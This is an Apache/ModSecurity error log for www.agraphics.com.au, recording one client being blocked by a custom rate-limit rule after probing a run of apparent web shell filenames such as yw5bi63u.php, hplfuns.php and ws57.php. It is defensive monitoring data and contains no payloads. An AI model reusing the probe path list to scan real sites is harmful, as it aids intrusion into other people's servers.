[Wed Apr 15 19:19:12.142083 2026] [:error] [pid 30956:tid 30967] [client 172.161.107.89:7725] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/abc.php"] [unique_id "ad90MEBGUpjaWntNYq1g8AAAAAc"]
[Wed Apr 15 19:19:12.503033 2026] [:error] [pid 30958:tid 31023] [client 172.161.107.89:47271] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/hplfuns.php"] [unique_id "ad90MMeG3wSKTO7NWFGNRQAAAMc"]
[Wed Apr 15 19:19:12.675945 2026] [:error] [pid 37370:tid 37381] [client 172.161.107.89:5830] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/yw5bi63u.php"] [unique_id "ad90MHg-gnM2Ga0cGAAGlgAAAQk"]
[Wed Apr 15 19:19:13.183401 2026] [:error] [pid 31053:tid 31080] [client 172.161.107.89:37929] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/hplfuns.php"] [unique_id "ad90MRcEkLCmvF0fjDesxAAAAJg"]
[Wed Apr 15 19:19:13.256759 2026] [:error] [pid 31053:tid 31069] [client 172.161.107.89:42928] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/yw5bi63u.php"] [unique_id "ad90MRcEkLCmvF0fjDesxQAAAI0"]
[Wed Apr 15 19:19:13.725861 2026] [:error] [pid 30956:tid 30980] [client 172.161.107.89:19964] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/grsiuk.php"] [unique_id "ad90MUBGUpjaWntNYq1g8wAAABQ"]
[Wed Apr 15 19:19:13.823766 2026] [:error] [pid 30957:tid 31009] [client 172.161.107.89:30235] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/yw5bi63u.php"] [unique_id "ad90MX5gwVEVXHfVSipwzgAAAFQ"]
[Wed Apr 15 19:19:14.367806 2026] [:error] [pid 37370:tid 37388] [client 172.161.107.89:8478] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/grsiuk.php"] [unique_id "ad90Mng-gnM2Ga0cGAAGmAAAARA"]
[Wed Apr 15 19:19:14.402099 2026] [:error] [pid 37370:tid 37374] [client 172.161.107.89:25440] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/yw5bi63u.php"] [unique_id "ad90Mng-gnM2Ga0cGAAGmQAAAQI"]
[Wed Apr 15 19:19:14.916745 2026] [:error] [pid 37370:tid 37372] [client 172.161.107.89:32447] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/222.php"] [unique_id "ad90Mng-gnM2Ga0cGAAGmgAAAQA"]
[Wed Apr 15 19:19:14.972592 2026] [:error] [pid 37370:tid 37377] [client 172.161.107.89:37918] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/grsiuk.php"] [unique_id "ad90Mng-gnM2Ga0cGAAGmwAAAQU"]
[Wed Apr 15 19:19:15.458969 2026] [:error] [pid 30957:tid 31003] [client 172.161.107.89:38008] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/222.php"] [unique_id "ad90M35gwVEVXHfVSipwzwAAAE4"]
[Wed Apr 15 19:19:15.616741 2026] [:error] [pid 37370:tid 37383] [client 172.161.107.89:47240] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/grsiuk.php"] [unique_id "ad90M3g-gnM2Ga0cGAAGnwAAAQs"]
[Wed Apr 15 19:19:16.014546 2026] [proxy_fcgi:error] [pid 31053:tid 31057] [client 172.161.107.89:47264] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:19:16.253015 2026] [proxy_fcgi:error] [pid 31053:tid 31063] [client 172.161.107.89:47264] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:19:16.493012 2026] [proxy_fcgi:error] [pid 31053:tid 31074] [client 172.161.107.89:47264] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:19:16.614403 2026] [proxy_fcgi:error] [pid 30957:tid 30998] [client 172.161.107.89:7774] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:19:16.731405 2026] [proxy_fcgi:error] [pid 31053:tid 31064] [client 172.161.107.89:47264] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:19:16.937633 2026] [proxy_fcgi:error] [pid 30957:tid 30999] [client 172.161.107.89:7774] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:19:16.970798 2026] [proxy_fcgi:error] [pid 31053:tid 31056] [client 172.161.107.89:47264] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:19:17.185501 2026] [proxy_fcgi:error] [pid 30957:tid 31013] [client 172.161.107.89:7774] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:19:17.208676 2026] [proxy_fcgi:error] [pid 31053:tid 31068] [client 172.161.107.89:47264] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:19:17.424126 2026] [proxy_fcgi:error] [pid 30957:tid 31012] [client 172.161.107.89:7774] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:19:17.446593 2026] [proxy_fcgi:error] [pid 31053:tid 31072] [client 172.161.107.89:47264] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:19:17.659376 2026] [:error] [pid 30957:tid 31010] [client 172.161.107.89:7774] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/abc.php"] [unique_id "ad90NX5gwVEVXHfVSipw1AAAAFU"]
[Wed Apr 15 19:19:17.681325 2026] [:error] [pid 31053:tid 31057] [client 172.161.107.89:47264] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mode.php"] [unique_id "ad90NRcEkLCmvF0fjDes0wAAAIE"]
[Wed Apr 15 19:19:18.194795 2026] [:error] [pid 37370:tid 37372] [client 172.161.107.89:27882] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mode.php"] [unique_id "ad90Nng-gnM2Ga0cGAAGqAAAAQA"]
[Wed Apr 15 19:19:18.264004 2026] [:error] [pid 37370:tid 37391] [client 172.161.107.89:37994] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/abc.php"] [unique_id "ad90Nng-gnM2Ga0cGAAGqgAAARM"]
[Wed Apr 15 19:19:18.718505 2026] [:error] [pid 31053:tid 31063] [client 172.161.107.89:28181] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mode.php"] [unique_id "ad90NhcEkLCmvF0fjDes1gAAAIc"]
[Wed Apr 15 19:19:18.786288 2026] [:error] [pid 37370:tid 37394] [client 172.161.107.89:29534] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/abc.php"] [unique_id "ad90Nng-gnM2Ga0cGAAGrAAAARY"]
[Wed Apr 15 19:19:19.216970 2026] [:error] [pid 37370:tid 37395] [client 172.161.107.89:27859] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mode.php"] [unique_id "ad90N3g-gnM2Ga0cGAAGrwAAARc"]
[Wed Apr 15 19:19:19.325066 2026] [:error] [pid 30956:tid 30964] [client 172.161.107.89:42917] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/abc.php"] [unique_id "ad90N0BGUpjaWntNYq1g9gAAAAQ"]
[Wed Apr 15 19:19:19.738756 2026] [:error] [pid 30957:tid 31008] [client 172.161.107.89:21009] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/set.php"] [unique_id "ad90N35gwVEVXHfVSipw1gAAAFM"]
[Wed Apr 15 19:19:19.840942 2026] [:error] [pid 30956:tid 30961] [client 172.161.107.89:7785] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/yw5bi63u.php"] [unique_id "ad90N0BGUpjaWntNYq1g-AAAAAE"]
[Wed Apr 15 19:19:20.269841 2026] [:error] [pid 30957:tid 31005] [client 172.161.107.89:27858] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/set.php"] [unique_id "ad90OH5gwVEVXHfVSipw1wAAAFA"]
[Wed Apr 15 19:19:20.345065 2026] [:error] [pid 30956:tid 30965] [client 172.161.107.89:30289] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/yw5bi63u.php"] [unique_id "ad90OEBGUpjaWntNYq1g-gAAAAU"]
[Wed Apr 15 19:19:20.777758 2026] [:error] [pid 31053:tid 31074] [client 172.161.107.89:47279] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/set.php"] [unique_id "ad90OBcEkLCmvF0fjDes2AAAAJI"]
[Wed Apr 15 19:19:20.876759 2026] [:error] [pid 31053:tid 31064] [client 172.161.107.89:19949] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/yw5bi63u.php"] [unique_id "ad90OBcEkLCmvF0fjDes2QAAAIg"]
[Wed Apr 15 19:19:21.348475 2026] [:error] [pid 31053:tid 31069] [client 172.161.107.89:26746] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/set.php"] [unique_id "ad90ORcEkLCmvF0fjDes2gAAAI0"]
[Wed Apr 15 19:19:21.378685 2026] [:error] [pid 30957:tid 31002] [client 172.161.107.89:27884] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/yw5bi63u.php"] [unique_id "ad90OX5gwVEVXHfVSipw2AAAAE0"]
[Wed Apr 15 19:19:21.957192 2026] [:error] [pid 30958:tid 31035] [client 172.161.107.89:7745] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/hroxw.php"] [unique_id "ad90OceG3wSKTO7NWFGNTgAAANM"]
[Wed Apr 15 19:19:21.984963 2026] [:error] [pid 30956:tid 30967] [client 172.161.107.89:30245] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/222.php"] [unique_id "ad90OUBGUpjaWntNYq1g-wAAAAc"]
[Wed Apr 15 19:19:22.555537 2026] [:error] [pid 37370:tid 37391] [client 172.161.107.89:20992] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/hroxw.php"] [unique_id "ad90Ong-gnM2Ga0cGAAGtgAAARM"]
[Wed Apr 15 19:19:22.696079 2026] [:error] [pid 37370:tid 37377] [client 172.161.107.89:38013] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/222.php"] [unique_id "ad90Ong-gnM2Ga0cGAAGtwAAAQU"]
[Wed Apr 15 19:19:23.143608 2026] [:error] [pid 37370:tid 37394] [client 172.161.107.89:8562] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/hroxw.php"] [unique_id "ad90O3g-gnM2Ga0cGAAGugAAARY"]
[Wed Apr 15 19:19:23.216939 2026] [:error] [pid 37370:tid 37395] [client 172.161.107.89:8550] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/222.php"] [unique_id "ad90O3g-gnM2Ga0cGAAGuwAAARc"]
[Wed Apr 15 19:19:23.655897 2026] [:error] [pid 37370:tid 37386] [client 172.161.107.89:21000] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/hroxw.php"] [unique_id "ad90O3g-gnM2Ga0cGAAGvgAAAQ4"]
[Wed Apr 15 19:19:23.773583 2026] [:error] [pid 37370:tid 37392] [client 172.161.107.89:28219] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/222.php"] [unique_id "ad90O3g-gnM2Ga0cGAAGwAAAARQ"]
[Wed Apr 15 19:19:24.172420 2026] [:error] [pid 37370:tid 37378] [client 172.161.107.89:16769] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ok.php"] [unique_id "ad90PHg-gnM2Ga0cGAAGwgAAAQY"]
[Wed Apr 15 19:19:24.245273 2026] [:error] [pid 37370:tid 37373] [client 172.161.107.89:14602] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws57.php"] [unique_id "ad90PHg-gnM2Ga0cGAAGwwAAAQE"]
[Wed Apr 15 19:19:24.645032 2026] [:error] [pid 30958:tid 31036] [client 172.161.107.89:19161] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ok.php"] [unique_id "ad90PMeG3wSKTO7NWFGNTwAAANQ"]
[Wed Apr 15 19:19:24.915711 2026] [:error] [pid 31053:tid 31071] [client 172.161.107.89:5689] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws57.php"] [unique_id "ad90PBcEkLCmvF0fjDes3QAAAI8"]
[Wed Apr 15 19:19:25.178124 2026] [:error] [pid 30956:tid 30981] [client 172.161.107.89:47243] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ok.php"] [unique_id "ad90PUBGUpjaWntNYq1g_QAAABU"]
[Wed Apr 15 19:19:25.416255 2026] [:error] [pid 37370:tid 37384] [client 172.161.107.89:7754] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws57.php"] [unique_id "ad90PXg-gnM2Ga0cGAAGxQAAAQw"]
[Wed Apr 15 19:19:25.718540 2026] [:error] [pid 31053:tid 31074] [client 172.161.107.89:19955] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ok.php"] [unique_id "ad90PRcEkLCmvF0fjDes3wAAAJI"]
[Wed Apr 15 19:19:25.989067 2026] [:error] [pid 37370:tid 37382] [client 172.161.107.89:65080] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws57.php"] [unique_id "ad90PXg-gnM2Ga0cGAAGyAAAAQo"]
[Wed Apr 15 19:19:26.197934 2026] [:error] [pid 37370:tid 37395] [client 172.161.107.89:30231] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/zoo.php"] [unique_id "ad90Png-gnM2Ga0cGAAGygAAARc"]
[Wed Apr 15 19:19:26.486822 2026] [:error] [pid 37370:tid 37392] [client 172.161.107.89:27422] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/8573.php"] [unique_id "ad90Png-gnM2Ga0cGAAGzgAAARQ"]
[Wed Apr 15 19:19:26.717515 2026] [:error] [pid 37370:tid 37373] [client 172.161.107.89:8551] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/zoo.php"] [unique_id "ad90Png-gnM2Ga0cGAAGzwAAAQE"]
[Wed Apr 15 19:19:27.009180 2026] [:error] [pid 30957:tid 31003] [client 172.161.107.89:8460] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/8573.php"] [unique_id "ad90P35gwVEVXHfVSipw3AAAAE4"]
[Wed Apr 15 19:19:27.201371 2026] [:error] [pid 37370:tid 37383] [client 172.161.107.89:26699] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/zoo.php"] [unique_id "ad90P3g-gnM2Ga0cGAAG0AAAAQs"]
[Wed Apr 15 19:19:27.558447 2026] [:error] [pid 37370:tid 37375] [client 172.161.107.89:7704] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/8573.php"] [unique_id "ad90P3g-gnM2Ga0cGAAG0gAAAQM"]
[Wed Apr 15 19:19:27.719864 2026] [:error] [pid 30956:tid 30983] [client 172.161.107.89:14612] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/zoo.php"] [unique_id "ad90P0BGUpjaWntNYq1hAAAAABc"]
[Wed Apr 15 19:19:28.068115 2026] [:error] [pid 30956:tid 30976] [client 172.161.107.89:47232] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/8573.php"] [unique_id "ad90QEBGUpjaWntNYq1hAQAAABA"]
